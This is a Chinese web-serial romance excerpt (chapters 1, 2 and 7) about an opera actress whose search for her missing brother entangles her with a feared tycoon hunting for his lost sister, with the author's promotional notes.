《坠落风情》 第1章 第 1 章 《坠落风情》 时则里/文 晋江文学城独家发表 2025.7.9 林青盏第一次见到傅随之,是在东郊浮云寺。 早前她就听说过浮梦今安傅三爷的名声,传闻他冷漠如霜,阴狠毒辣,是个谁都不敢得罪的人物。 她在浮城十几年,从未有机会见过这样的大人物,只在报纸和专访上见过他真容。 他五官立体,脸庞精致,戴着金丝眼镜,眼眸是浅棕色的,略带混血儿的冷酷气质,矜贵非常,像是长在雪山之巅的雪莲,轻易不得高攀。 这样的人却出现在浮云寺祈福。 出人意料。 更令她没想到的是,之后两人会有那般的纠缠。 若是再有一次,她在浮云寺石条围栏上望见傅随之的那一眼,不会避开,而是会深深地望着他。 必然要望入他那寂寥得犹如孤岛的心底。 - 春日四月,东郊浮云寺的西府海棠开得鲜艳,像是仙人随意泼下的一层红艳,红了一座座山头。 林青盏跟台里打了招呼,将今日的演出排在晚上,得空陪着顾蝉过来浮云寺拜佛。 四月初八,佛祖诞生之日,浮云寺为让有缘人祈福,广开大门,收纳四方供奉,积功德结善缘散运势,顾蝉这种信佛之人必然要来。 顾蝉从小信佛,已经不止是遇佛就拜,已经到了千里寻佛的程度。 林青盏耳濡目染,也沾染了些佛性,想着这佛祖诞生之日是祈福天时,她过来沾沾香火,指不定运势能好点。 一大清早,她跟顾蝉徒步爬山到浮云寺,在钟门前洗去惹来的尘埃,立于佛祖前,诚心祈求,想着为望月台积点福运。 也私心为慕觞淙点了一盏长明灯,祈求平安健康。 顾蝉一向不喜欢慕殇淙,见她这行径,蹙眉道,“你倒是什么都顾着他,这慕觞淙到底有什么好的?” 林青盏没回答,与点灯的小师傅告别,转身拉着她往后院走去。 慕觞淙,现任慕家家主,跟林青盏关系有些复杂。 林青盏年幼时,得慕殇淙帮助到了望月台,以此他成为她的靠山,也间接庇护了望月台,为他们挡下了许多麻烦。 久而久之,外人都在传林青盏跟了慕殇淙,是他的女人,林青盏也觉得他们两人关系暧昧,可其实他们至今都没捅破最后那层暧昧的纸。 关系应该说是清清白白的,可是看着又不那么清白。 慕殇淙会时常去望月台看林青盏,闲着的时候,两人可以在后院坐一整天,他累了就叫她陪着歇息片刻。 他们从未明确过两人之间的关系,慕殇淙不说,林青盏也不提。她知道,他是不想越界后纠缠不清。 林青盏心底非常清楚两人之间不可能会有结果,但她觉得自己没法往后退,只能继续一头载下去,却又要保持清醒,就想着哪天慕殇淙突然喊停时,她能转身潇洒走掉就好。 对此,顾蝉一直很不爽,觉得慕觞淙就是吊着人的渣男!一边想享受和林青盏的温情时刻,另一边又想着能随时撇下她去找寻门当户对、能助力他家族事业的伴侣。 偏偏林青盏喜欢他,这么多年即便是没名没分、关系不清不楚,也愿意乖乖守在原地等他。 其实林青盏不是没过动摇,但她依靠慕觞淙是真,与他暧昧是真,这关系要割断也不是一天两天能理清的,想得多了,更是做不了决定,两人之间的关系就这么不清不楚地搁置着。 顾蝉劝她:“要是真喜欢,那就去跟他说明白。” 林青盏摇头,“这层纸要是捅破,我们两人也就彻底完事了。” “你看看你,心里比谁都清楚,你们之间不可能。” 林青盏低头,没有争辩,也不回话。 顾蝉和林青盏是多年好友,自然知道她的脾气。 林青盏长得很有韵味,说话轻声细语,但性子倔得很,她所想所决定十头牛都拉不回来,不然也不会爱着慕觞淙这么多年,他不乐意名正言顺在一起,她还傻傻等着。 今天是出门来祈福的,顾蝉不想让林青盏不开心,干脆止了话,拉着她往后山而去,先去看了会儿海棠花。 顾蝉觉得林青盏和海棠花很像,明艳得很张扬。 林青盏不认同,“我不张扬啊,我觉得我很低调。” 顾蝉低头笑,“你倒是想低调,可是你这张脸长得太漂亮了,乍一看好似古典美女,其实仔细瞧上一瞧,会发现你啊,长得明艳妩媚。” 没有谁不喜欢被夸赞,林青盏不反驳,欣然接受。 顾蝉和哥哥顾宴迟有心结佛缘,每个月必定来祈福,跟寺庙的住持关系极好。 海棠花还没观赏多久,住持让人过来请顾蝉去后院禅寺静坐,谈经论道,受佛祖洗礼,顾蝉心之向往,跟着过去了。 林青盏虽也喜静,但自知心底杂念过重,不想扰了佛祖清净,就没有跟过去,只是绕着后院闲庭散步。 这浮云寺有几百年历史,寺庙殿宇每年都要修缮几回,灰墙略有斑驳,红色屋檐和红色大门刚刷了新漆,倒是焕然一新。 禅寺旁边有一座高塔,足有十二层,从下往上看,像是与天相连。 高塔大门的石阶下面立着青铜香炉,来来往往的人都要点上三根香,祭拜下佛祖。 尘世间所不得,求着佛祖许下寄愿,好像就有了终能实现的美好可能。 这种时候,人在高塔前,会显得极为渺小。 林青盏闲来无事,站在后院高处的石围栏旁边,纤细手肘搭在上面,手托腮往下张望。 眼下青铜香炉前站着一个西装革履的男人,他静立着,双手自然垂落下来。 今日天气晴朗艳阳高照,站在太阳下,终究是有些晒的。 那男人身穿整套烫熨精致的西装,安静站了十几分钟,没有说话,也没有任何动作,像是在那边虔诚地跟佛祖求着什么不可得似的。 男人背影纤长,双肩很宽,身躯高大雄伟。 林青盏诧异,这样一个男人竟也会无助到祈求佛祖? 林青盏很好奇,又闲来无事,双手搭在石围栏,往下望着那男人,还数着时间。 十五分钟后,他终于动了下脚步,转过身。 就这样,林青盏看到一副俊逸非凡的容颜,紧接着吓了一跳。 因为她一直盯着的不是别人,正是浮城里出了名的傅三爷。 傅随之傅三爷,在浮梦今安里排行老三,是现在傅家的掌权人。 传闻此人阴狠毒辣,行事风格极为犀利,有着过人的商业头脑,不止是豪门圈,在商界也是名声响当当。 他十八岁靠自己的本事在硅谷开了个软件公司,短短一年获利上亿,紧接着又跑到法国,以高级设计时装为起点,生意逐渐扩展到整个北欧。 二十二岁归国,压下傅家众人,成为傅家掌权人。 而后着手对傅氏集团开始进行大清洗,用了四年时间才彻底掌控傅氏集团。 他掌管着傅氏集团,又是今安茶楼的股东,傅家旁支现在提及傅随之,都是恨得牙痒痒的,想扳倒他又不可能,只能忍着。 而外人说起傅三爷,无不恐惧惧怕的。 林青盏在望月台工作,身边环绕的都是有头有脸的人,她听那些人说起过很多他的传闻,也听过他的狠戾事迹。 只是未接触过这人,对于他的狠厉阴狠没有任何真实感受,只当陌生人一个。 雄伟高塔之下,林青盏站在高处,没多看他,转过身往旁边走去,观赏着寺庙建筑。 过了会儿,她不经意回过身,看到原本站在青铜香炉面前的男人已不见踪影。 好似《牡丹亭》里的那一场惊梦,消散不见。 她疑惑回过身,四处看了看,面前满是高塔、石柱,以及蔚蓝天空下的菩提树,翠绿枝桠随风摆动,摇晃着一片空荡,哪里还有人影。 顾蝉从禅房里走出来,看到林青盏兀自站在空旷的亭台中,踩着一双定制的皮鞋走过去,拍了拍她的肩膀。 身穿青色旗袍的林青盏转过身来,看到顾蝉,收敛了疑惑的思绪,“好了吗?” “大师说完佛法休息去了,下午是让众生自行参缘。你晚上不是还有演出,时间也不早了,要不我们回去吧。” “好。” 林青盏挽住顾蝉的手臂,跟着她往石梯下走去。 顾蝉:“你刚刚在做什么?我出来见你好像在找人?” “不是找人。” 林青盏和顾蝉认识许久,关系很不错,她并不避讳在她面前的言谈举止,自然说道:“刚刚我见有个男人站在青铜香炉面前,一动不动,很是虔诚,心底好奇盯着他看了会儿。后来发现——” “傅随之”三个字溜达到嘴边,林青盏竟一时间也未能说出来。 “发现是什么?难道是仙人下凡?” 林青盏被她一句话逗笑,“不是什么仙人,是那位让人闻风丧胆的傅三爷。” “傅随之?”顾蝉先是没想到,过了会儿又反应过来,“他来寺庙祈福倒是不奇怪。我听我哥说,他处处祈福,想请佛祖帮他找回妹妹。” 傅三爷满世界找妹妹这件事,全浮城的人都知道。 林青盏是望月台的当家花旦,身边来来去去都是浮城有头有脸的人,多少听闲人议论过,所以也跟着知道些所谓的“内情”。 傅随之的父亲傅清庭原是傅家的继承人,他性情稳重,看着清冷却有着掌权人的大格局,对身边的人都极好。 他的夫人是唐氏旁支棠氏三小姐棠傛,棠傛原是宴乐门出名的花旦,与傅清庭相识许久,自然而然走到一起。 两人相恋许多年,后面传出婚讯,只是一直未举办婚礼,据说是被傅家掌权内斗耽误的。 傅清庭是长子,生性宽厚沉稳,是名正言顺的继承人,但是傅家里面有各方势力明争暗斗,他上位成为家主的事情始终没定下来。 这时突然传出消息,说棠傛怀有身孕。 紧接着有传闻,继承人傅清庭生子就能续傅家香火,以此得权势,导致族中兄弟纷纷针对他。 傅清庭生于关系错综复杂的傅家,权谋能力自然是有的,只是他太过心软,觉得兄弟不至于对他痛下杀手,没有反杀的提防之心,最终于瓢泼大雨之夜出了车祸当场死亡。 苦的是棠傛怀孕六月,丈夫去世,她伤心欲绝差点跟着去了,是因为肚子里的孩子拉住她,才让她有勇气活了下来。 四个月后,棠傛产下一对双胞胎,男孩名为傅随之,女孩叫傅于然。 因为傅清庭的前车之鉴,她护着双生儿女极为周全,不料还是着了院内人的道,在家主寿宴上弄丢了女儿。 据闻傅于然是凭空消失的,没有任何人看到,监控也没有任何记录,一个活泼可爱的小女孩在众人面前,就那么活生生不见了。 当年傅随之三岁。 隔年,棠傛悲痛至极,身体受不住倒下后,再也没爬起来。 四岁的傅随之父母双亡,妹妹失踪,他孑然一身于偌大的傅家大宅里,叫天天不应叫地地不灵,可也是咬牙活了下来,还成为傅家现在的掌权人。 这些,林青盏是听很多人聊八卦闲谈许多次才自己窜起来的故事。 即便是林青盏这样一个外人,都觉得傅随之非常不容易,也难怪他养成了现在这般阴狠毒辣的性情。 林青盏也听闻过,傅随之现在还在找他那失踪的妹妹,一日都未停歇。 跟顾蝉聊到这儿时,林青盏刚巧迈出浮云寺的门槛,心底没来由地想,既然遇见就是缘,那就替傅随之向佛祖祈求下,祝愿他早日找到妹妹吧。 听到她这祈愿,顾蝉笑她:“你自己也在找哥哥,怎么不替你自己祈愿,反倒是管上其他不相干的人了。” 林青盏穿着一身天青色旗袍,柔顺长直发披散下来,纤细腰肢隐约可见。 脚下都是青石路,她垂眸认真看着路,每走一步,长发发尾轻轻晃动,更是衬得她身姿婀娜苗条。 她白皙手臂勾住顾蝉的,“我这愿望祈愿多年也不见实现,最近已经破罐子破摔了,不如就留给其他有用的人。虽事不关己,但既然今天遇上便是缘,送他一个愿望不算什么。” 顾蝉捏了捏她的脸颊,“那这缘分还真是天大的啊。” “这倒是不至于,我跟这位傅三爷不可能有天大的缘分,不过是今天凑巧说起,诚心祝愿罢了。主要还是因为那位傅于然小姐听着也是可怜,跟我一样,我更多的是为她祈福。” 她侧身看顾蝉,“你看傅小姐三岁被自己族人设计偷走,那些人连傅清庭都杀害,能对她有多好?如果那些人有良心,能让她过得好还好,要是她现在处境不好,能被傅三爷找回来,也是一种幸福吧。” 林青盏仰头,看到天边一列飞鸟飞过,像是急着归家,她唇角勾起浅浅的笑容。 “我希望所有人都能幸福,这样我必然也会幸福。” - 顾蝉经常带着她到东郊祈福,跟着的司机都熟门熟路,从东郊回市区后,先是将林青盏送回望月台。 下车前,顾蝉嘱咐林青盏,“我这几天要去南城一趟,那边的博物馆有古物需要修复,老师的朋友找过来,让我过去配合。” 林青盏点头,“要去几天?” “不确定。顺利的话一周能回来,如果不顺利,恐怕一个月也有可能。” 听言,林青盏笑出声,“要去一个月,那我们顾小姐可要睡不着咯。要不干脆让你哥跟着住过去算了。” 顾蝉因小时候颠沛流离,心底极为没有安全感,平日里都是要顾宴迟哄睡才可以,所以林青盏才会这么说。 顾蝉气恼地打她手臂一下,“就你喜欢调侃我。” 林青盏弯唇笑得更甚。 在她面前顾蝉倒是不遮掩,她大大方方说道:“我已经想好了,要把他屋里的衬衫都带走,我一天抱着一件,总能睡着的。” 林青盏对她竖起拇指,“还是我们顾小姐有办法。” 两人说说笑笑着,林青盏推开车门下去,转过身嘱咐,“过去南城自己照顾好自己,实在不行就给你哥打电话吧,不丢人。” 顾蝉推她一把,“你快走啊。晚上还要表演,先去休息会儿。” 林青盏发出悦耳的笑声,将车门关上后,转身往望月台走进去。 这条路她走过无数次,闭着眼都能识路,从不会犹豫迟疑。 可这一日,她不知道为何,突然在望月台前停下了脚步,转身朝着对面的茶楼看了一眼。 就那么对上了那双犀利的眼眸。 是傅随之。 前头在寺庙,她在上,他在下,遥遥相望,只来得及看到他的侧面,并没有与他对视到。 可这次,他在上,她在下,她抬起头刚巧望过去,躲闪不及,就那么看到他晦暗不明的眼眸,里面像是缠着勾子,要将人的魂魄勾过去,用力撕咬掉似的。 狠厉在这一刻有了具象化。 林青盏不禁颤抖了下,有那么一刻,还以为是她的错觉。 再仔细一看,发现当真是傅随之在看着她! 他站在今安茶楼二楼,着暗色西服,脸庞隽秀锐利,像是一只盯着猎物的豺狼。 那双眼眸是浅棕色的,远远看着给人感觉就不太一样,犀利、阴郁、阴翳、阴狠、毒辣,是会吃人的。 林青盏无端感觉脊背发凉。 开新文啦~按照惯例,V前日三,V后日六以上到正文完结。坑品有保障,喜欢这个题材的可以放心跳!(我开文后更新一向稳定!!有存稿,不断更,人格担保!!) - 看过我文的小可爱会知道,我都是以甜宠为主。 这本虽然是阴狠偏执男主,不过基调还是不变的。 男主先动了心,砸钱投爱想将人禁锢,没想到人还是跑了,那当然要发疯。 不过后面不是阴翳恐怖的禁锢,是彻底臣服和甘愿跪舔。 傅三爷还是挺值得一看。 希望你们可以试试。 [红心][红心][红心][红心][红心] - 浮梦今安系列:喜欢的到专栏可收藏! 唐郁东X秦馥嫣《偏惹浓情》(硬汉总裁X旗袍美人,非常欲)【已完结,专栏可看】 徐泽也X唐郁南《藏匿情深》(骄纵大小姐给美强惨老公撑腰!) 顾宴迟X顾蝉《纵你深陷》(伪骨科,兄妹在家嘿嘿嘿) 纪时礼X舒蝶《荒唐心动》(偏执狂的暗恋,哥哥的未婚妻最后成了我老婆!) 作者有话说 显示所有文的作话 第1章 第 1 章 第2章 第 2 章 林青盏站在原地凝神片刻,才反应过来,她不认识这位威名远扬的傅三爷。 所以,她不应该是他看中的猎物。 他恐怕是在看其他的,或者压根没看什么,不过平日里神色就是如此清冷罢了。 林青盏快速收回视线,没有理会傅随之的犀利眼神,转身往望月台里走去。 她身后站在二楼的傅随之,眼神阴沉至极,见身穿旗袍的女人身影消失在午后阳光里,这才垂下眼眸。 只是身上的那股子阴沉怎么都消散不去。 他身后站着的两位贴身助理面面相觑,默契地没有发出任何声音。 他们很清楚这时候断然不敢惹他。 林青盏前脚刚迈入后院,管事的张叔就急急忙忙地跑过来,“哎哟,我的祖宗啊,你可算是回来了啊。” 林青盏面露疑惑,“张叔怎么了?” 张叔穿着黑色的短款唐装,脚下一双黑布鞋,看起来极为朴素。 他愁着脸指了指里头,“慕先生过来了,在屋里等了你两个小时。给你打电话发现你没带手机,跟他说要不改天再来,等你回了给他消息,他也没答应,就那么干坐着等。那张脸黑得跟什么似的,我都快吓死了。” 听到这事儿,林青盏极为诧异。 慕觞淙许久没来了,因为上次他来时闹了些不愉快。 元宵夜那天,慕觞淙有位远道的客人,说是京都那边的贵客,长得尖嘴猴腮不说,来了望月台压根没想好好听戏。 当晚开腔不过十分钟,那人突然叫停,说让林青盏卸了妆容和戏服出来清唱,摆明了就把林青盏当成唱曲逗乐的小姑娘,还要她干干净净地被他赏玩。 戏曲开腔不能停,一方为人,三方为鬼,四方为神。这是老祖宗立下的规矩。 当时台下坐着林青盏的师父白云和师伯朝露,听到这无理要求,脸都绿了,当场解释,但是那贵客并不听。 碍于是慕觞淙的客人,他们没有发作,再加上慕觞淙要求,他们只能让林青盏去卸了妆容再出来。 望月台里的规矩,有贵客喜欢听清唱的,会提前发帖邀请,望月台回信,这事儿就算是双方协商定下来的。 林青盏也不吝啬表演,毕竟知音难寻,就当是平日里的开嗓,没了戏服和花旦妆容,她的嗓音婉转,也算是顶好的表演。 更何况那些发帖过来的都是真正爱好戏曲的客人,林青盏也乐于配合。 但这位尖嘴猴腮的客人并不是。 林青盏上台清唱一曲,他那眼神挂在她身上,反复来回扫过,就是没有半分尊重。 一曲结束,慕觞淙招手让她过去,她依言过去道谢,刚走到慕觞淙面前,那贵客就拉住她的手腕要将她拽入怀中。 望月台是个正经的昆曲戏院,来来回回那么多贵客,少不了几个嘴碎的喜欢挑逗姑娘,但从未有人敢如此,盛气凌人就要拿脏手恶心人。 林青盏被吓得身子一颤,当即就将人推开了,手劲儿大了些,抓花了那人的脖子。 那位所谓的贵客自然是大发雷霆,被慕觞淙安抚下来,好说歹说给劝走了。 自从那日,慕觞淙一连三个多月都没来望月台,也没有半点消息。 为此顾蝉又是一阵谩骂,为林青盏觉得不值,说慕殇淙压根不尊重她、利用她。 林青盏心底也很生气,自然不可能再主动联系慕殇淙,慕殇淙就这么彻底没了消息。 以往也有这种失联的情况,他身为慕家家主里里外外都很忙,林青盏一般不会过多打扰,他没消息的时候,她偶尔打个电话问候罢了。 但这次情况完全不同,她还以为两人关系要如此僵下去无解了。 没想到他今天会上门来,还耐着性子等她? 这三个月里,她没有跟慕殇淙联系,心底其实很难受,这会儿听到慕殇淙来找她,原本平静的心湖像是瞬间长出一株海棠花,肆意摇晃着灿烂的花瓣。 她手里抓着小提包,迈步往里面走,边轻声问着:“慕先生有说这趟过来是为什么吗?” 张叔摇头,“没说。只是脸色看着不大好,瞧着像是有什么大事。” 林青盏深呼一口气。 不知为何,她总觉得慕殇淙这趟过来,不是简单来看望她的。 她侧身嘱咐了句,“张叔,待会你就别进去了,在院子里看着。要是慕先生这趟来是有什么事要吩咐,叫别人听了去不好。” “我明白。”张叔抬眸看着后园快到了,低声提醒,“姑娘,你记得有事就打暗号,我好让人去把掌事的叫过来。” “好。” 慕殇淙以往过来的时候,都会提前给她打电话知会一声,浪漫的时候,还会差人送一封烫金帖子,告知当晚他会过来听戏。 到了戏曲开腔时,他会手捧着明媚海棠花过来,等着她唱完,亲自将海棠花送给她。 即便是没有提前说,他的突然到访都是在她要上台的时候,抱着海棠花出现在化妆室里,将海棠花送给她后,难得闲情逸致陪着她化妆,等她上台再回二楼包厢看她表演。 两人之间的相处,慕觞淙是来去自如的那个,潇洒得很。 从未有一次是这样突然来访,还执着于等她两个小时要见她。 林青盏心底隐隐有些不安。 她跟慕殇淙认识十八年,对他太过了解了,慕殇淙外表长得极为绅士,但从来不是那种会愿意将心思过多耗费在感情上的人,不然他们也不会暧昧了这么好几年,却没有更进一步。 因为慕殇淙始终认为他有更要紧的事情要做,那些都比林青盏重要得多。 慕家往上四代,在浮城还算是顶级豪门,到了慕殇淙祖父那一辈已经有些没落,到了他父亲那一辈更是不行。 慕殇淙年少时,心底想着的就是兴旺家族的伟大事业,他想让慕家重新成为浮城的顶级豪门家族,并且为此不惜攀附上傅家。 他十八岁进入慕氏集团,日日劳碌,从未有一天真的休息过。 会让他在望月台干等了两个小时要见她,绝对不可能是慕殇淙刻意来哄她,这点她心底还是很清楚的。 她不敢耽搁,踩着高跟鞋往里头走。 望月台后边很是宽阔,不只是客人歇息的厢房,再往深处还有一座院子是他们台里所有人的住所。 慕觞淙是贵客,被请到东边的贵宾休息室。 林青盏推开木门,看到慕觞淙坐在屋内的仿古木沙发上,神色晦暗不明,垂眸抽着雪茄。 林青盏脚步一顿。 自从正月十五元宵节那场不欢而散后,慕觞淙三个多月没过来。 这会儿突然见到人,林青盏还有些恍惚。 慕觞淙长相偏大气,五官不算特别立体,却极为和谐隽秀,浓眉大眼,鼻梁高挺,嘴唇很薄,勾起笑时很温和,骨子里透着绅士的气息。 此刻,他坐在沙发上,午后的暖阳照样在他脸庞,让他更显得柔和。 听到开门声,慕觞淙转头看向她,一双眼眸深邃似海。 “回来了。” 林青盏回过神来,慢步走过去,没有像是以往那样挨着他坐下,而是坐到他对面的单人木椅。 “慕先生。” 听言,慕觞淙挑了下眉。 两人感情不算淡,平日里关起门来说体恤话,林青盏多半都是亲昵叫他“淙哥”。 今天这一声“慕先生”着实见外。 慕觞淙挑起眼皮望向林青盏,眼里满是浓烈复杂的情绪。 林青盏倒是没有任何表现,只是安静地端起茶壶,温杯烫盏,为慕觞淙沏上一壶新茶。 将茶水倒入茶杯,轻搁在桌面,请他品茗茶。 这茶还是上个月慕觞淙让人特意送过来的,说是武夷山带回来上好的岩茶,要让林姑娘品一品。 林青盏听到来人报,没有拒绝,直接收下。 因这是他为元宵佳节那日扰了她而致歉的礼物。 对于慕殇淙毁了望月台规矩,叫她让别的男人恶心到,林青盏心底始终存着气,好茶她收下了,却不代表着她轻易原谅了他。 她可以敬重他慕家家主的身份,恭恭敬敬的,但这只说明她的气压根还未消散。 别说跟他太过亲密,恐怕他不低头,她就会生疏到底,权当是陌生人对待。 她这人看似柔和,其实骨子里执拗硬气得很。 慕觞淙自然知道她的想法,将带来的锦盒打开摆在桌面,声音低缓解释道:“上次是个意外。最近慕氏有个项目要在京都开展,这位刚好是批文那位的秘书,我不好当众叫他难看,才会行事有了差错。小青盏别生气。” 林青盏纤细指尖被茶杯烫得泛红,却不及这会儿心抽了一下那么疼。 她撩起翘卷眼睫,对上了慕觞淙那双幽深的眼眸,没说话。 慕觞淙望着那锦盒,抬了抬下巴,说道:“前段时间去了趟拍卖会,特意为你拍下的翡翠手镯,算是我跟你道歉的赔礼了。” 林青盏目光扫过那翡翠手镯,看成色就知道这是贵重物品,至少七位数,她没想收,“上次让人送来的岩茶已经是很好的赔礼了。” “那岩茶是我去武夷山谈生意,顺带捎回来给你喝的,不算什么。这个才是真正的赔礼。” 这些年,慕觞淙做生意四处奔波,不管去什么地方都会给她带些礼物回来,林青盏都已经习惯,也没有扭捏,接过那锦盒想收起来,却被慕觞淙抓住手腕。 林青盏抬眸看向他,见他眼眸里情绪复杂,犹如海浪般翻涌而来,不禁有些疑惑。 顿了一秒钟,慕觞淙恢复笑容,揉了揉她的手掌,为她将翡翠手镯戴好。 而后抓住她的手捏在掌心里,露出温柔的笑看向她,“小青盏,我们认识十六年了。” “嗯。” 林青盏想想也觉得很神奇,当初她走投无路,就是看慕觞淙这张脸极为斯文温柔,才会赖着他就是不放手,慕觞淙看她可怜,动了恻隐之心,好心为她安排了去处。 没想到缘分从那时候开始,纠缠到现在。 她抬眸看向慕觞淙,是能感觉到慕觞淙心情不太好。 他心底一直惦记着想壮兴慕家,心底藏了许多事儿,之前也会如此,林青盏以为他今天也是为慕家忧愁。 她反握住他的手掌,“最近忙碌累了?我去给你点个香薰,你好好休息会儿?” 她一直如此,不该她问的她绝对不会多问,每次都是将自己这里当做慕觞淙栖息的港湾,他来了,她就好好陪着他休息。 慕觞淙抬眸,眼睁睁看着她起身,白皙纤瘦的手掌从他炙热掌心划过,再也抓不住。 林青盏没有看到他落寞的眼神,转身去点了海棠花香薰,又给他换了一壶安神茶,坐在他身旁,陪他说着话。 “你今天就是特意来给我送这手镯的?” 慕觞淙垂眸笑,“专门来哄你的,不好吗?” “不是说不好。”林青盏唇畔勾着浅笑,“只是你什么时候哄过我。” “现在不正哄着。” 林青盏垂下浓密眼眸,唇角满是笑意,心底也甜蜜蜜的。 她不想他看出她心底过于浓烈的情绪,指尖捏起茶壶,想着为他再泡杯茶。 慕觞淙神色却不似她那么轻松,眼神突然笃定,像是做了决定般开口说道:“小青盏,我的人查到你哥的消息了。” 听到这话,林青盏发红的指尖突然冷颤了下,羊脂玉瓷盖叮当一声落下,刚好盖住茶杯,将滚烫的茶和水闷在里头,像是林青盏胸膛里的那颗心一样,被这个消息砸中紧紧包裹着,呼吸一声都惶恐。 好一会儿,她才抬起头,拿那明亮桃花眼望向慕觞淙,眼底满是不可置信。 “淙哥,你是说有我哥的消息了?” “也不算是特别明朗的消息,不过总算查到了点东西。”慕觞淙端方面容沉着冷静,“我的人追查到当年你哥的失踪跟傅家有关。” “傅家?”林青盏拧着眉。 她记得当年哥哥是因为跟几个混混抢夺吃食,被人记恨上,后来那几个混混叫人过来揍哥哥,还把人带走。那天之后,哥哥消失无影踪。 她也想过,不过是几个混混为什么能让哥哥凭空消失?哥哥是不是遇到什么危险,否则怎么这么多年都没回来找她? 只是万万没想到,这件事还会牵扯到傅家。 慕觞淙举起茶杯喝了口香浓的岩茶,掩饰了眼底的情绪,再抬头还是那副沉稳可靠的模样。 “这件事过去太多年,现在要追踪比较麻烦。我的人多方探听才得到这么一点消息。” 他紧促眉宇,“原本我以为没能打听到消息,是因为时间过去太久,万事不好追溯。但如果这件事牵扯到傅家,就不好说了。” 林青盏自然知道。 如果是跟傅家有关,那事情会变得复杂,不见得是平常人能打探得到的。 可是哥哥跟傅家能有什么关系? 慕殇淙望着她,探究道,“你好好想想,你们跟傅家有什么牵扯或者有没有恩怨?” 林青盏摇了摇头。 从她懂事以来,他们家一直在海城,不可能跟傅家有什么恩怨的。 慕殇淙望着她,眼神复杂,“是傅家将人抓走的,这件事要调查自然得从傅家这源头追查。只是——” 只是这件事不容易,傅家是浮城五大家族,别说林青盏,连慕殇淙都不敢得罪。 林青盏想着今日见到的傅随之,心底没来由冷颤了下。 她抬眸看向慕觞淙,“淙哥,我记得你跟傅家傅鸿源先生关系很好。可不可以请傅鸿源帮忙调查这件事?” 慕觞淙先是一顿,而后嘴角挂着无奈的笑。 应该全浮城的人都知道,慕殇淙跟的是傅鸿源。 傅家原继承者傅清庭去世之后,所有人都以为他弟弟傅清檐会是新的继承人,只是没想到这么二十几年,老爷子傅怀锦愣是没把傅氏集团全部交到他手上。 他膝下有两个儿子,傅鸿源和傅鸿浠,大儿子傅鸿源原是被认为最有可能继承傅家的,慕殇淙顺应权势跟了傅鸿源。 可是谁都没想到四年前傅随之上位,全面掌管傅氏集团。 慕觞淙站错队,但也没办法改变,只能一路走到黑,左右傅鸿源还算是有本事,还能为他做支撑。 慕觞淙为他卖命,傅鸿源帮他撑着慕家,是利益纠缠。 但是为林青盏找哥哥这件事不一样。 慕觞淙沉思片刻,抬眸看向林青盏,忽而问:“小青盏,为了找你哥,你什么都愿意做么?” 问这话时,慕觞淙眼底翻涌出的情绪是惋惜,让林青盏心底有些奇怪。 但她几乎是没有犹豫地用力点头,“是。” 慕觞淙深吸了口气,结实胸膛起伏半响,又缓缓落下,神色也显得有些疲惫。 好一会儿后,他才回答:“好。” 答应下来后,慕觞淙很快离开。 林青盏坐在金丝楠木椅上,侧身望向外面,看到院子里栽种的那棵紫藤花随风摆动,稀碎的花瓣凋零飘落下来。 那是她八岁那年种下的,因为慕觞淙最喜欢紫藤花。 四月里,紫藤花凋零,满院子都是细小的花瓣,远远看着像是雪花。 那日慕觞淙就是踩着这一地凋零的“雪”离开,前方好似要开春了,但仔细感觉还是会有一丝寒冷。 这时,林青盏还不知道,她跟慕殇淙的关系会在某一刻戛然而止,急速转变成不可控的荒唐过去。 慕觞淙离开了一整月,他没有再踏入望月台,跟以往一样消失了,不再联系她。 一个月后,他让人送来一份信和厚厚的一叠资料。 林青盏避开所有人,于深夜里悄然躲进自己房间,连窗帘都拉上后,才在书桌前坐下,将那份信打开。 她原本以为慕殇淙给她送来的是哥哥林解的消息,没想却不是。 信里没有过多内容,就交代她看完资料全部烧毁。 末尾留了一句,“勿怪我,保重。” 林青盏看着那正统的楷书,心底不知为何感觉像是被人猛地往下一拽,心脏抽疼了一下,好似冥冥中有了某种预感。 但她没有迟疑,翻开了一起送来的资料。 首页贴着两张照片。 第一张是傅随之的证件照,他穿着浓墨黑西装,戴着金丝眼镜,锐利眼眸望着她,吓得她心脏又颤了下。 明天三爷隆重出场,直接把小盏带走! 开始纠纠缠缠,然后~~~ 作者有话说 显示所有文的作话 第2章 第 2 章 7. 第 7 章 海棠苑书房里,只亮着一盏晦暗的灯,傅随之穿一身黑色西服坐在皮质沙发,头往后仰,闭目正在休息。 这几天傅老爷子心脏不舒服,全族人上下跟着跑来跑去,傅随之这个家主自然不能避免,几乎是每日守在老爷子院里。 公司事务又多,虽然秦楠和傅慎已经分摊大半,但很多事需要他亲自出面,他毎日连轴转,只能见缝插针休息。 睡了半个小时,秦楠走进来,站在一米外,低声叫了声:“三爷。” 傅随之随即睁开眼睛,只三秒钟,他彻底清醒过来,看向秦楠的眼神清冷至极。 “荣华园那边传来的消息,老爷子这会儿突然醒了,话都说不清楚就叫人过来传话,要三爷过去。” 傅随之一语不发,站起身,将黑色西装扣子扣上,大长腿迈步往外走。 到院子里,看到角落种植的海棠花,他才恍然想起来,院子里住了一个外人。 当时老爷子在等,他不好推脱,时间紧迫才将人一同带来老宅。这举动实在欠妥。 海棠苑还是第一次进了外人。 若是平日里,他会直接让人把她送走,但她现在不太一般,而且老爷子那边离不开人。 驻足片刻,傅随之没再为这件事费神,继续往外走去。 挺拔身影从窗前晃过,林青盏抬起头,刚巧看到傅随之消失在门口。 大半夜,步履匆匆,看着是有急事。 但这不是她应该操心的。 她收回视线,垂眸望着屏幕,就在刚刚,她给慕殇淙发了消息,但他没有回复。 片刻后,手机叮叮两声,她欣喜低头,发现不是慕觞淙的回信,而是顾蝉发来的消息。 顾蝉最近接了个修复博物馆古物的活儿,这会儿在南城出差。 「什么情况?你在傅氏老宅?还是住在海棠苑??」 「傅随之说你是他妹妹,让你做亲子鉴定??」 「这些字我都认识,组合起来我就有点看不懂了。」 林青盏将今晚的事情说了一遍,并没有提及之前慕殇淙给她传来哥哥消息的事情,她现在不知道慕觞淙什么安排,而且牵扯到傅氏,顾蝉不知道为好,免得她之后难做。 林青盏:「听着像是有人给傅三爷传了消息,说我是他找寻多年的妹妹。」 顾蝉震惊:「你是傅于然?我怎么觉得跟天方夜谭似的。」 连顾蝉都如此怀疑,更别说傅随之,但他还是将她带回来确认,可见傅随之对这个妹妹确实看重,即便知道几率很低,也不愿意放过任何机会。 林青盏眨了眨眼睫,纤细手指在手机屏幕快速点了两下:「小蝉,你跟傅三爷认识,他真的是那样的人么?」 「外界传闻傅三爷冷血无情,冷酷至极,做事雷厉风行,发起疯来傅家人都压不住,是浮城上流社会‘阴狠’的代表。你是想问,他当真如此吗?」 